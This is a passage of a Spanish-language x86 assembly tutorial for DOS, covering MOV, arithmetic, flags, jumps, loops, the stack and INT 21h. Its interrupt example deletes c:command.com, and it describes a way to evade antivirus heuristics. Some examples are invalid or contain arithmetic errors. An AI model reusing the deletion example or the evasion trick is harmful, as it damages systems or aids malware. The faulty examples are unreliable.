  • 13. que hay en0134:03215h y el siguiente aAX. Se puede hacertambiénal revés; MOV [AX],CX Escribiríamosenla direcciónde memoriaCS:AXel valorde CX. Y tambiénpodremosusarvaloresnuméricos: MOV AX,[2325h] (loque hay enCS:2325h) MOV AX,DS:[2325h] (el valorenDS:2325h) MOV AX,DS:DX(el valorenDS:DX) MOV DX,CS:CX(aDX, valorenCS:CX) MOV BX,CS:1241h (a BX, valorenCS:1241h) Muchas veces,se utilizaWordPtro Byte Ptr,que aclaran el tamaño a transferir: MOV AL,BYTE PTR [BX+SI-30h] MOV AX,WORDPTR [BX+DI] Comoacabamos de ver,es posible hacer"sumas"de valoresal buscar una direcciónenmemoria.Otrosejemplosserían: MOV AX,[BX+3] MOV [BP+SI],AH Y para acabar este apartado,he aquí una tablillade ejemplossobre MOVsque se puedenhacer: º Formatosde la instrucciónMOV º Ejemplosº º MOV reg,regº MOV AX,BXº º MOV mem,regº MOV [BX],ALº º MOV reg,memº MOV CH,[40FFh] º º MOM mem,inmedºMOV BYTE PTR [DI],0 º º MOV reg,inmedºMOV BX,0FFFFhº º MOV segreg,reg16º MOV DS,AXº º MOV mem,segregºMOV [SI],ESº º MOV segreg,memºMOV SS,[1234h] º
  • 14. reg: registromem:memoriainmed:númeroinmediato segreg:registrode segmentoreg16:registrode 16 bits Y vistala ordenMOV, seguimosadelante. .................................................................................................................. 5.- OPERACIONES 5.-1.- Las instruccionesINCy DEC: Son lasmás básicasa la hora de hacer operacionesconregistros:INC incrementael valorde un registro,ode cualquierposiciónen memoria,enunaunidad,yDEC lodecrementa.Veamos: INCAX Incrementaenunoel valorde AX INCWORD PTR [BX+4] IncrementalapalabrasituadaenCS:[BX+4] en uno. DEC AX DecrementaAX,le restauno. DEC WORD PTR [BX+4] DecrementalapalabrasituadaenCS:[BX+4] en unaunidad. Estas dosinstrucciones,equivalentesa"a++" enC, nos serviránbastante comocontadoresparabucles. 5.-2.- Las instruccionesADD y SUB Se trata de dos operadoresque contiene cualquierlenguaje de programación:lasuma y la resta.Tienendosoperandos,unode destinoy otro fuente.Paralasuma,se sumanlosdosoperandosy se almacenaen el primero(destino),yparala resta,se restaal primeroel segundo, almacenándose endestino,el primero.Aquíestánalgunosformatosde estas instrucciones: ADD AX,BX; Sumaría AXy BX y lo guardaría enAX ADD [AX],BX;Sumael contenidode ladirecciónde AXa BX,
  • 15. ;y se almacenaenla direcciónde AX ADD AX,[BX] ;Se sumanAX y el contenidode ladirecciónde ;BX, yse almacena‚estasumaenAX ADD AX,3; Lo mismoperoutilizandounvalorinmediato ;envezde laBX señaladaanteriormente. SUB CL,DL ; Restade CL el valorde DL, y se almacenaenCL SUB [CX],DX; Se resta al contenidode ladirecciónde CX ;el valorde DX, y se almacenaenla dir.de CX SUB CX,23h ; Se restade CX el valor23h, y quedaenCX el ;resultado ¿Y si el resultadoexcede loque puede contenerel byte,olapalabra?. Esto se puede sabermediante losflags,que trataremosmásadelante. Tambiénesresaltable que separacon;los comentarios.Bien, éstaes lamanera enEnsambladorde ponercomentarios,comoseríaenBasic la orden"REM", o enC laconvención"/*[...] */" 5.-3.- NEG,NOT y operacioneslógicas Negpone el registrooel lugar al que apuntaenmemoriaennegativo segúnlaaritméticade complementoadostal que : NEG AXo NEG [AX] Notes la que,comovimos,"invierte"losvaloresde losbits.Yel restode operacioneslógicastambiénlasvimosanteriormente.Pondremosahora tan sólosu sintaxis: NOT SI; (oNot AX,etc.,...osea,con un registro) NOT Word ptr es:[ax] ;Lo realizasobre lapalabra( 2 bytes) ;que se encuentraenes:[ax] ANDAX,BX; Efectúaun ANDentre AXy BX, almacenando ;el resultadoenAX( siempre enel primer ;término) AND[AX],BX;Lo dicho,peroAX apuntaa unlugar de
  • 16. ;memoria ANDAX,[BX] ANDByte ptr [15],3 ; Un AND enla dirección:0015 con loque ;haya ah¡y el valor "3" OR AX,BX OR [AX],BX OR Byte ptr [15],3 OR DH,55h ;Tambiénpodríahacerse enel AND,se ;confrontanDH y 55h enun OR. Y todo lodichopara OR y ANDvale para XOR,de tal manera que lasoperacionessonrealizablesentre: RegistroyregistroCX,DX Lugar de memoriayregistro[DX],BX Registroylugar de memoriaAX,[SI] Lugar de memoriaynúmerowordptr ES:[AX],0D533h RegistroynúmeroAX,0CD32h 5.-4.- Multiplicacióny división,MULy DIV Estas operacionesmultiplicanal acumuladorporel operandoindicado. Si el operandoesde 8 bits(1 byte),el acumuladoresAL.Si el operandoesde 16 bits,el acumuladoresAX.El resultadose almacena enAX o enel par DX-AXrespectivamente,si el operandoesde 8bitso 16 bits. Tambiéntendremosque diferenciarentre dostiposde multiplicaciones y divisionesque entiende el procesador.Losque comienzanconunaI operancon númerosconsigno,si queremosusarnúmerosnegativos, y losque no, con númerossinsigno. Vistoesto,podremosdecirque: MUL Byte Ptr [CX]
  • 17. Va a multiplicarel byte que hayenladirecciónque marcaCX por el contenidoque hayenAL,y una vezhechoesto,va a almacenarloenAX. MUL SI MultiplicaríaSIpor el contenidode AX,almacenándose enel parAX-DX. La palabrasuperior,de másvalor,se devolveríaenDX,yla inferior enAX. IMUL SI Esto y el ejemploanteriorseríalomismo,sóloque operandocon númerosconsigno. Para la división,el dividendohade estarenAX,y ser 16 bitspor tanto.El divisorse indicaenel operando,porejemploenDIV BL; este divisorestaríaenBL. Se dividiríaAXentre BLy el resultadoquedaríaen AL, quedandoel restoenAH.Vamosa veralgúnejemplo. En la divisiónde un númerode dieciséisbitsentre otrode 8 bits,el cociente yrestoseránde 8 bits(1 byte).El dividendohade estarenAX, y el divisoresel operandode lainstrucción,que puede serunregistroo un sitioenlamemoria,yse necesitaponerlode byte ptr. O sea,sería tal que: DIV CL o IDIV BYTE PTR ES:[BP] El resultadose devuelveenAL,yel restoen AH.Si por ejemploAX valiese 501dy cl valiese 2,al hacer el DIV CL, en AL quedaría255 y en AH quedaría1. Se puede dividirtambiénunnúmerode 32 bits(4 bytes) entre otrode 16 bits(2 bytes),conlo que cociente yrestoseríande 16 bits.El dividendoestaríaformadoporel parDX/AX.Al hacer porejemploun: DIV SI Se dividiríaDX-AXentre SI,almacenándose el resultadoenAX,yel resto enDX. Por ejemplo:
  • 18. Si en DX estáel valor003Fh y en AX5555h, el par sería3F5555h, con lo que al dividirloporSI(que pongamosque vale 0CCC4h),se almacenaríaen AXel resultadoyen DX el resto. ....................................................................................................................... 6.- FLAGS La explicaciónde los"flags"estárelacionadaconlossaltoscondicionales. Los que hayáisvistounmínimode otroslenguajesrecordaréislassentencias FOR y NEXT(enBasic),o el IF/THEN/ELSEtambiénenestiloBasicperoque tambiénse encuentranenotroslenguajes.Puesbien,losflagsylasinstrucciones condicionalesvaa serlo que os encontréiseneste capítulo. Veamosel registrode flags. A lasflags,"banderas",lasagrupaun soloregistrode 16 bits,aunque éste noesté utilizadoporcompleto,yaque cadaflagocupa un solobit. ¿Qué son losflags? Se trata de variosbits,que,comosiempre,puedenvalerunoocero, y dependiendode suvalorindicanvariascosas.El registrode flagsescomo sigue: ³ ± ³ ± ³ ± ³ ± ³ O ³ D ³ I ³ T ³ S ³ Z ³ ± ³ A ³ ± ³ P ³ ± ³ C ³ O: OverflowD:DirecciónI:Interrupcionesrehabilitadas T: Trampa S: SignoZ: Cero A: AcarreoauxiliarP:ParidadC:Acarreo ±: No utilizado Cada cuadro representaunbitcomoesfácil adivinar.Tambiénestáclaroque cada bit que se utilizatiene unnombre,ycomose verá,también una utilidad.Aquíexplicoel significadode los más importantes: EL FLAG DE ACARREO Hay vecesenla operacionesenlasque el númerose desborda,osea,no cabe enel registrooen laposiciónde memoria.Imaginemosque tenemosen
  • 19. AXel número0FFFFhy le sumamos0CCCCh. Comoeslógico,el resultadono nos cabrá en AX.Al realizarestasuma,tenemosque tenerencuentaque el siguiente númeroa0FFFFhes0000h, con loque podremosverel resultado. Igual pasará si a 0000h le restamos,porejemplo,1(el resultadoserá 0FFFFh).Perode algunamanera nos tenemosque DARCUENTA de que estoha sucedido. Cuandose opera y hayacarreo enel últimobitsobre el que se ha operado,el flagde acarreo se pone a uno,es decir,cuandoese númerose ha desbordado.Hayque recordartambiénque lasinstruccionesINCyDEC no afectana este flag.Veamoslosefectosde estasoperaciones: MOV AX,0FFFFh INCAX ; AXvale ahora 0, el flagde acarreo también DEC AX ; AXvale 0FFFFh,y el flagsigue inalterado ADD AX,1; AXvale 0, y el flagde acarreo está a 1 MOV BX,0000h ADD BX,50h ; El flagde acarreose pone a 0, no ha habido ;acarreo enestaoperación SUB AX,1 ; Ahora AXvale otra vez0FFFFh,y el flagde acarreo ;se pone de nuevoa uno. En resumen,se activacuandotras una operaciónhayun pasodel valor máximoal mínimoo viceversa. Este flag nosva a ser tambiénútil al comprobarerrores,etc.Por ejemplo,si buscamosel primerarchivodel directorioynohay ninguno, este flagse activará,con lo que podremosusarlossaltoscondicionales, peroestoya se explicarámásadelante. EL FLAG DE SIGNO A vecesinteresaconocercuándounnúmeroconsignoesnegativoopositivo. Evidentemente,estosólotiene efectocuandoestamostratando
  • 20. con númerosenterosconsigno,encomplementoados.Indicacuandotras una operaciónaritmética(ADD,SUB,INC,DEC o NEG o lógica(AND,OR o XOR) el resultadoesunnúmeroencomplementoados.Enrealidad,eslacopia del bitde mayorpesodel byte,el que indicacuándoel númeroesnegativo. Por lotanto,cuando vale 1 es que el númeroesnegativoysi vale 0 es que espositivo. EL FLAG DE DESBORDAMIENTO ("Overflow") Se trata de un flagbastante parecidoal de acarreo, peroque actúa con númerosencomplementoadosy se activacuando se pasa del mayornúmero positivo(127 enun solobyte) al menornegativo(-128entamaño de un byte). Este flag,al contrarioque el de acarreo,SI esafectadopor las instruccionesde decrementoe incremento. EL FLAG DE CERO Es de losmás sencillosde comprender.Simplemente se activacuandoel resultadode unaoperaciónaritméticaológicaescero.Es evidente lagranutilidaddel flag. Tenemos,porejemplo,dosregistros,AXyCX,que queremoscompararparasabersi soniguales. Para saberlo,notendríamosmásque restar unodel otro, ysi el resultado escero (o sea,si el flagde cero se pone en uno),podremoshacerun saltocondicional. O sea,de un SUB CX,AX Si son iguales,el flag de cerose pondrá a uno. EL FLAG DE PARIDAD Se utilizaespecialmente enlatransmisiónde datosparala comprobación de errores,ya que compruebasi el resultadode laúltimaoperación aritméticaológicarealizadatiene unnúmeroparo imparde bits puestos a uno. Se pondráa unocuandohaya un númeropar de bits,y a cero cuando
  • 21. seaimpar. RESTO DE FLAGS No describiré másflagsdetalladamente,yaque suimportanciaescasi nula;por ejemploestáel flagde interrupción,que,cuandoestáactivado, evitalaposibilidadde interrupcionesenseccionescríticasde código,o el de trampa, que cuandoestá activadoprovocauna INT1h cada vezque se ejecutaotrainstrucción,perocreoque su interésesescaso,al menospor el momento. 6.-1.- INSTRUCCIONESDE COMPARACION Nosvan a servirpara realizarlascomparaciones,yson: CMP y TEST CMP compara dos registros,ounregistroy una direcciónde memoria. Tiene el mismoformatoque el SUB(por ejemploCMPAX,BX),tansóloque ningunode losregistrosesalterado.Si porejemplosoniguales,el flag de cero se pondrá enuno.Es en realidadunSUB del que nose almacenael resultado. TEST, comprobar,se puede realizarconel mismoformatode AND,yaque esequivalente aella,tansóloque nose guarda el resultado,aunque síse modificanlosflags. Y en el próximocapítuloveremoscómose aplicanestosflags,ycómo realizarlossaltoscomparativos. ....................................................................................................................... 7.- LAS INSTRUCCIONESDE SALTO 7.-1.- SALTOS INCONDICIONALES Empecemosporel saltosincondiciones,conel que podremoscambiar el control a cualquierpuntodel programa.Seríacomo el "Goto" del Basic, simplementetransferirel control aotro puntodel programa.La ordenes JMP (de Jump,salto)
  • 22. Si se recuerdanlosregistrosCS:IP,se podráverqué es loque hace realmente lainstrucción,ynoesmásque incrementaro decrementarIPpara llegarala zona del programaa la que queremos transferirel control (IPesel Offsetque indicalazonade memoria que contiene lasiguiente instrucciónaejecutar,yCSel segmento). El formatomás sencilloparael saltoseríaJMP 03424h, loque saltaría a esa zona.Peroesalgo complejocalcularenqué dirección va a estar esainstrucción,conloque utilizaremosetiquetas.He aquí un ejemplo: MOV AX,0CC34h MOV CL,22h JMP PALANTE VUELVE: CMP BX,AX JMP FIN PALANTE:MOV BX,AX JMP VUELVE FIN:XOR CX,CX Ahoracomentaremosunpocoel programa. Tras la primerainstrucción, AXvale 0CC34h, y tras la segunda,CLvale 22h. Despuésse realizaunsalto a la instrucciónetiquetadacon"PALANTE".Laetiquetahade estar continuadapordos puntos':', y puede serllamadadesde cualquierlugardel programa.TambiénpodremoshacerunMOV AX,[PALANTE],comohacíamosantes con un MOV AX,[BX],peroasignandoaAXel valorque haya enla dirección enla que está"PALANTE". El caso esque tras el saltoa "PALANTE",se copiael valordel registroBX enAX,y se vuelve a"VUELVE".Se realizaunacomparaciónentre AXy BX, que pondrá el flagde cero a 1 (recordemoslaanteriorlección),se saltará a "FIN",donde tansólose realizarálaordenXor CX,CXcuyoresultado,por
  • 23. cierto,esponerCX a cero,tengael valor que tenga. Volvamosconlasintaxisdel JMPcon algunosejemplosde cómoutilizarlo: JMP 100h Saltaa ladirección100h. Un archivo.COMcomienzanormalmenteenesa dirección,asíque es posible verloenalgunosvirus. JMP 542Ah:100h Saltaa ladirección100h perodel segmento542Ah. JMP SHORT 223Ah Saltocorto a la dirección223Ah. JMP NEAR 55AAh Saltocercano,es diferenteal corto JMP [100h] Saltaa ladireccióncontenidaen100h. Sinembargoesun error,ya que no se especificasi escercano,lejano,si se lee unsolobyte,esdecir, estainstrucciónno es válida. JMP WORD PTR [BX] Ahorasí vale.Saltaa la direccióncontenidaenlapalabra(dos bytes) ala que apunta BX.O sea,si BX valiese 300hy en300h losdos bytesfuesen0CC33h,el JMP saltaría a estadirección. JMP DWORD PTR [BX+SI+5] Dwordson 32 bits,o sea,un saltolejano.Ysaltaría al contenidoen la direcciónde memoriaalaque apuntan lasuma de BX,SIy 5. Veamosel significadode lossaltoslejanos,cercanosycortos.El saltocorto se realizaentre el puntoenel que se está y +127 o -128, o sea,la cantidadque se puede contenerenunbyte consigno.A veces esnecesarioindicarque se trata de saltocorto, cercanoo lejano. El saltocercano se realizacontandocomodistanciael contenidode dos bytes,osea,que el rango sería desde 32767 a -32768 bytesde distancia.
  • 24. Y el lejanose realizacontandocomodistanciael contenidode cuatro Bytes. Por ejemplo,esincorrectoque hayaenladirección100h unainstrucción que digaJMP SHORT 500h, ya que ladistancianocorresponde aun salto corto. Además,el saltodependiendode que seacercano,cortoo largo se codificade maneradiferenteenmodohexadecimal. 7.-2.- SALTOS CONDICIONALES ¿Recuerdanel IF-THEN-ELSE,oel FOR,o el WHILE-DO ? Bien,puesaquíestá loque suple a estasinstruccionesenlenguaje Ensamblador.Se basancompletamenteenlosflags,peroestánsimplificados. Los saltospodrían resumirse enunmodo"Basic"de la maneraIF-THEN-GOTO de forma que cuandose cumple unacondiciónse saltaa un sitio determinado. He aquí lostiposde saltoscondicionales(lasletrasenmayúsculasson lasinstrucciones): JO: Jumpif overflow.Saltasi el flagde desbordamientoestá auno JNO:Jumpif not overflow. Saltasi el flagde desbordamientoestáa cero. JC,JNAE,JB: Los tres sirvenparalomismo. Significan:Jumpif Carry, Jumpif Not Above orEqual y Jumpif Below. Saltanporlotanto si al haberuna comparaciónel flagde acarreo se pone a 1; es entonces equivalente a< enuna operaciónsinsigno.Vamos,que se comparaasí: CMP 13h,18h, saltará,ya que 13h es menorque 18h. Tambiénse suelenusar para detectarsi hubo falloenlaoperación,yaque muchasinterrupciones al acabar enfalloenciendenel carryflag. JNC,JAE,JNB: Otrostres que valenexactamente paralomismo. Jumpif not Carry,Jump if Above orEqual y Jumpif NotBelow. Saltanportanto si al haberuna comparaciónel flagde acarreo vale 0, o sea,esequivalente
  • 25. al operador>=. En la comparaciónCMP 0,0 o CMP 13h,12h saltará,ya que el segundooperandoesMAYORO IGUAL que el primero. JZ o JE: Jumpif Zero o Jumpif Equal. Saltasi el flagde cero estáa 1, o sea, si lasdos instruccionescomparadassoniguales.Saltaríaenel caso CMP 0,0 JNZo JNE: Jumpif Not Zeroo Jumpif Not Equal. Saltasi el flagde cero est a 0, o sea,si lasdos instruccionescomparadasnosoniguales. JBE o JNA:Jumpif Belowor Equal o Jumpif Not Above. Saltaríasi en resultadode lacomparaciónel primermiembroesmenoroigual que el segundo( <= ) JA o JNBE:Jumpif Above o Jumpif NotBelowof Equal. Justolo contrario que la anterior,saltasi enel resultadode lacomparaciónel primer miembroesmayoral segundo. JS: Jumpif Sign.Saltasi el flagde signoestáa uno. JNS:Jumpif Not Sign. Saltasi el flag de signoestáa cero. JP,JPE: Jumpif Parityo Jumpif ParityEven. Saltasi el flagde paridadestáa uno. JNP,JPO:Jumpif Not Parity,Jumpif ParityOdd. Saltasi el flagde paridadestáa cero. JL, JNGE: Jumpif Less,Jumpif Not Greaterof Equal. Saltasi en el resultadode lacomparación,el primernúmeroesinferioral segundo,pero con númerosconsigno. JGE, JNL: Jumpif Greateror Equal,Jump if NotLess. Salta si enel resultadode lacomparación,el primernúmeroesmayoro igual que el segundo,peroconnúmerosconsigno. JLE, JNG: Jumpif Loweror Equal,Jumpif NotGreater. Saltasi enel resultado de lacomparación,el primernúmeroesmenoroigual que el segundo,peroconnúmerosconsigno.
  • 26. JG, JNLE: Jumpif Greater,Jumpif Not Loweror Equal. Saltasi enel resultadode lacomparación,el primernúmeroesmayorque el segundo,para números consigno. Veamosalgunosejemplosde losmásutilizados: MOV AX,1111h MOV BX,1112h CMP AX,BX; AX esmenorque BX JB tirapalante ;Saltar a tirapalante HLT ; Esta ordenbloqueael ordenador,halt tirapalante:DECBX ; Ahora BX valdr 1111h CMP AX,BX; Ahora valenigual JNE Acaba; Nosaltará,ya que son iguales JE Continua; Esta vezsi Continua:DEC BX; AhoraBX vale 1110h CMP AX,BX JE Acaba ; No soniguales,portantono saltará JB Acaba ; No esmenor,tampocosalta JG Acaba ; Es mayor, ahora SIsaltará Acaba: XORAX,AX XOR BX,BX; AXy BX valenahora cero. Esperoque con estohaya aclaradoun poco la utilidadde lossaltos. Evidentemente,ahoraal escribirsabemoscuandounoesmenoromayor, pero a vecesmediante interrupcionessacaremosvaloresque noconoceremosal ir a programar, o quizálohagamosde lamemoria,yquerremoscomprobarsi son iguales,etcétera. Por cierto,que enlossaltoscondicionalesse puede hacercomoenlos incondicionales,osea,formatoscomo: JE 0022h
  • 27. JNE 0030h JNOAL Sinembargo,estamoslimitadosasaltoscortos,o sea,de rango a 127 byteshaciadelante o128 haciaatrás, no pudiendosuperarestadistancia. 7.-3.- BUCLES He aquí el equivalente al FOR-TO-NEXTenEnsamblador,se tratade la ordenLOOP.Lo que hace estaordenescomparar CX con cero; si es igual, sigue adelante,si noloes,vuelve al lugarque se indicaensuoperando decrementandoCXenuno.Porlotanto, CXserá un contadorde las veces que ha de repetirse el bucle. Veamosunejemplo: MOV CX,0005h bucle:INCDX CMP DX,0000h JE Acaba LOOPbucle Acaba: ... Veamoscomofuncionaeste programa.Se mueve aCX el valor5h, que van a ser lasvecesque se repitael bucle.Ahora,llegamosal cuerpodel bucle. Se incrementaDXy se compara con 0, cuandoesigual saltaa "Acaba".Si llegaa laordenLOOP,CX se decrementará ysaltaráa bucle.Esto se repetirácincoveces.Enfin,que el programaacabará enel grupo de instruccionesde "Acaba"cuandolacomparacióndé un resultadopositivoo cuandoel bucle se haya repetidocincoveces. Tambiéntiene lalimitaciónde que sólorealizasaltoscortos,asícomo puede usarse comoel JMP,de la forma: LOOP0003h LOOP[AL] En resumen,laordenLOOPesla equivalente aCMPCX,0/JNZpar metro,
  • 28. donde par metroesel operandode LOOP. ............................................................................................................................... 8.- LA PILA La pilaesunaespecie de "almacén de variables"que se encuentraenuna direccióndeterminadade memoria. Nosencontramoscondos órdenesbásicasrespectoalapila,que son PUSH y POP.La ordenPUSH empujaunavariable ala pila,y laordenPOP la saca. Sinembargo,nopodemossacar el que queramos,nopodemosdecir "quierosacar el valorde DX que he metidoantesyque fue el cuarto que metí",por ejemplo. La estructurade la pilase denominaLIFO,siglasinglesasque indican 'Last In FirstOut'. Esto significaque al hacerunPOP,se sacará el últimovalorintroducidoenlapila.Veamosestoconunosejemplos: PUSH DX ; Mete enla pilael contenidode DX PUSH CX ; Y ahora el contenidode CX POPAX ; Ahorasaca el últimovalorintroducido( CX) ;y locoloca enAX. POPBP ; Y ahora saca envalor anteriorintroducido,que ;esel contenidode DXcuando hicimosel PUSHDX ;y se lo asignaa BP. Ahora,una rutinaalgomás detallada: MOV DX,0301h ; DX vale ahora 0301 hexadecimal. PUSH DX ; Empuja DX a la pila.SPse decrementa endos. MOV DX,044C4h ; AhoraDX vale 044C4h POPCX ; Y con esto,CXvale 0301 hexadecimal,el valor que habíamosintroducidoconanterioridad. Dijimosenlasegundalínea:SPse decrementaendos.Cuandoporejemplo ejecutamos un.COM,SS esel segmentodel programa(osea,igual que CS,
  • 29. y si no han sidomodificados,DSyES),y SP apuntaal final,a0FFFFh. Cuandoempujamosunvalora la pila,SPse decrementaendosapuntandoa 0FFFDh,y en estadirecciónquedael valorintroducido.Cuandolosaquemos, se incrementará de nuevoendosel valorde SP,y el valorse sacará de la pila. Se puede operarcon estainstrucciónconlosregistrosAX,BX,CX, DX, SI,DI, BP, SP,CS, DS y ES; sinembargonose puede hacerunPOPCS, sóloempujarloalapila. He aquí un ejemplode loque hace enrealidadunPOPentérminosde MOVs; aunque seaun gastoinútil de código,tiene suaplicación,porejemplo,para saltarse laheurísticaenun antivirus,que buscaunPOPBP y SUB posterior. Partamosde que hayciertovaloren lapilaque queremossacar. MOV BP,SP; AhoraBP es igual al offsetal que apuntaSP MOV BP,Wordptr [BP] ; Y ahora BP vale el contenidodel offsetal ;que apunta,que al serel offsetal que apunta ;el de pila, seráel valorque sacaríamos ;haciendounPOPBP. ADD SP,2 ; Para acabarlo,sumamosdosal valorde offset ;de la pila. Y estoes loque hace un POPBP,simplemente.Paraverloque hace un PUSH no habría más que invertirel proceso. Veámoslo. SUB SP,2 MOV BP,SP MOV Word ptr[BP],DX Comoúltimarecomendación,hayque tenerbastante cuidadoconlosPUSH y POP,sacar tantos valoresde lapilacomose metan,yestar pendientede que loque se saca es loque se tiene que sacar.La pilabienaprovechada esfundamental parahacerprogramas bienoptimizados,yaque entre otras
  • 30. cosas lasinstruccionesPUSHy POPsoloocupanun byte. Es por ejemplomuchomejorusarunPUSH al principioyunPOPal final envezde dejarpartesde códigopara almacenarvariables,másvelocidad y menostamaño. Y finalmente,hayotrasdosórdenesinteresantesrespectoalapila, PUSHF y POPF,que empujanel registro(16bits) de flagsylo sacan, respectivamente. 8.-1.- LA ORDEN CALL Se trata de una ordenque se utilizaparallamara subrutinas,yestá relacionadaconla pila. La sintaxisdel Call escasi lade unJmp, pudiéndose tambiénutilizar etiquetas,direccionesinmediatasoregistros.Si comparásemosunJmpcon un 'GOTO', el Call sería el 'GOSUB'. Es unainstrucciónque nosva a servir para llamara subrutinas. Su formade actuación essencilla.Empujaalapilalosvaloresde CS e IP (osea,losdel puntoenel que está enese momentoel programa), aunque IPaumentadoenel tamañodel call para apuntar a la siguiente instrucción,yhace un saltoa la direcciónindicada.Cuandoencuentre una instrucciónRET,sacará CS e IPde lapila,y así retornará al lugar de origen.Veamosunejemplo: xor ax,ax ; Ax vale ahora0 Call quebién;Mete CS e IP a la pilay saltaa quebién Int 20h ; estaordensale al dos, ; movax,30h Ret ; Vuelve alainstrucciónsiguienteal punto ;de llamada,o sea,a la de "INT20h" La ordenRET puede tenertambiénvariosformatos:RETN o RETF, segúnse retorne desde unsitiocercano(RETN,near) o lejano(RETF,far).No obstante,prácticamente nolousaremos:lamayoríade las vecesse quedará
  • 31. enRET. Existe entonceslallamadadirectacercana,enlaque sólose introduce IP (lógicamente,apuntandoalaordensiguiente al Call),yal retornar, lohace enel mismosegmento,ylallamadadirectalejana,enlaque se introducenCSe IP (yluegose sacan, naturalmente).A vecesse podrían producirconfusiones,conloque quizápuedaserconvenienteusarRETN y RETF respectivamente. .............................................................................................................................. 9.- INTERRUPCIONES Lo primeroque tenemosque haceressabercómofuncionanlas interrupciones.Sonprincipalmentesubrutinasde laBIOSo el DOS que puedenserllamadasporunprograma, porejemplo,lafunción21hestá dedicadaespecialmente atratamientode archivos. Para utilizarlas,tendremosque ponerlosregistrosconundeterminado valorpara que se realice el propósitoque buscamos.Cadainterrupción tiene variasfunciones,ypodremoselegircuál ejecutamossegúnel valor de AH. El formatode la ordenesINT X,donde X puede irdesde 1 a 255 (aunque normalmente se escribeenformatohexadecimal). Cuandose ejecutaunainterrupción,el ordenadorempujatodoslosflags a la pila,un'PUSHF', y despuésmiraenlatabla de vectoresde interrupción,de laque hablaré másadelante,paratransferirel control del programaal puntoque indicaesatabla respectoala interrupción pedidamediante un'CALL'.Cuandolainterrupciónhaterminado,acabarácon un IRET, que esuna combinaciónentre 'POPF'y'RET'. La tablade Vectoresde Interrupciónesunatablade direccionespara la direcciónala que debe saltarcada interrupción.Comienzaenla direcciónde memoria0000:0000 y acaba enla 0000:0400, siendocada
  • 32. direcciónde 4 bytesde longitud.Paraaveriguarcuál corresponde acada interrupción,nohaymásque multiplicarel númerode interrupciónpor cuatro. Porejemplo,ladirecciónde memoriadonde estáel puntoal que saltauna INT 21h, es 0000:21h*4. Ahí se contienenel CSe IPa losque saltará el programacuando se ejecute lainterrupción.Estosvalores,son modificables,perohayque tenermuchocuidadoconello. Vamoscon un ejemploel usode unainterrupción: jmpmesaltomsg;Esto lohago porque ejecutaráel texto ;puede traerconsecuenciasimprevisibles archivo:db 'c:command.com',0; el 0 que va despuésesnecesario ; en operacionesconarchivos,ono ; funcionará. mesaltomsg:movax,4100h ; Al ir a llamara lainterrupción,AH ;( que aquí¡ es41h ),indicala función ;de dicha interrupciónque se quiere ;ejecutar.Eneste caso esla 41h, que ;significaborrarunfichero movdx,OFFSETarchivo; En dx cargamosla direccióndel ;offsetconla etiquetaarchivo, ;o sea,si la etiquetaarchivoestá ;en:0014h, ese seráahora el valor ;de DX. Comovemos,nosólobasta ;con tenerAXactualizadoparapoder ;usar la interrupción. Int 21h ; Ejecutamoslainterrupción21hen ;su función41h,borrar unfichero. Voya detallarunpoco más: ¿porqué en dx pongola direccióndel offset de archivo?.Porque lafunciónde laInt21h que busconecesitapar metros.
  • 33. CuandoAH vale 41h, funciónde borrar fichero,necesitaciertospar metros, y estoesque en DS:DXse encuentre lacadenade caracteresque indicael ficheroa buscar. ComoDS vale lomismoque CS, si no lohemoscambiado,tansólohace faltahacer que DX apunte al lugar donde estálacadenade caracterescon el nombre del archivo. Veamosotroejemplo.Ahoraqueremoscambiarel nombre de unfichero. La interrupciónparaelloesla21h, y lafunciónque queremosesla56h, con loque en AH tendremosque ponerese valor. El par DS:DX,es ladirecciónde lacadena que contiene launidad,camino y nombre del fichero,tal ycomosucedía enel anteriorejemplo,yES:DI la direcciónde lacadenaque contiene lanuevaunidad,caminoynombre. Vamoscon el programa: Mov ah,56h ; Nohace faltainicializar,como ;hicimosantes,notiene ninguna ;importanciasucontenido. Mov dx,OFFSETanterior;Ds ya está apuntandoa este segmento, ;sólotendremosque asignarDx Mov di,OFFSETposterior;Di apuntaal nuevonombre,Esnoha ;sidovariadode ningunamanera. Int 21h ; Si en este directoriose hallael ;archivode DS:DX, cambiasu nombre al ;de ES:DI Int 20h ; Devuelveel control al Ms-dos. anterior:db'berilio.com',0 posterior:db'magnesio.com',0 En resumen,cambiaráel nombre del archivoberilio.comamagnesio.com si éste se encuentraenel directorio.
  • 34. Hay innumerablescosasque se puedenhacerconlasinterrupciones: escribirtextos,leerdel teclado,cambiarmodosde pantalla,escribir enarchivos,leerlos,ejecutarlos,...demasiadoparaponerloaquí. Recomiendoteneramano lalistade interrupcionesde Ralf Brown,que esuna auténticaBibliade lasinterrupciones,olasguíasNorton.El caso esque es imposible sabérselasde memoria,yesmejortenerunabuena obra de consultaal lado.La listade interrupcionesde Ralf Brownes fácil de encontrar,y ocupa cerca de un discocompleto,conlargosarchivos de texto,yse actualizaperiódicamente. Para dar una ideaengeneral,aquíestánlasinterrupcionesque másse usanysus funcionesengeneral. Interrupción21h:Es laque más se utiliza;conellase consigue el accesoa la fechay horadel sistema,gestiónde ficheros, funcionesde DOSreferidasal disco,paralagestiónde directorios,y algunasde lectura/escrituraenel tecladoypantalla,ademásde lagestión de la memoria. Interrupción13h:Funcionesde BIOSque se refierenal disco. Interrupción10h:Gestiónde la pantallaenmodoalfanumérico,gestión de la pantallaenmodográfico. Interrupciones25hy 26h: Funcionesde DOSde acceso directoal disco, escribiryleersectores... Interrupción17h:Impresora. ............................................................................................................................. 10.- RESTO DE ORDENES Veamosconalgo de detalle el restode lasórdenesenlenguajeEnsamblador, lasmás importantesque merecenconocerse: 10.-1.- XCHG La funciónde xchgesla de intercambiarvaloresentre registrosy memoria,de tal maneraque puede funcionarasí:
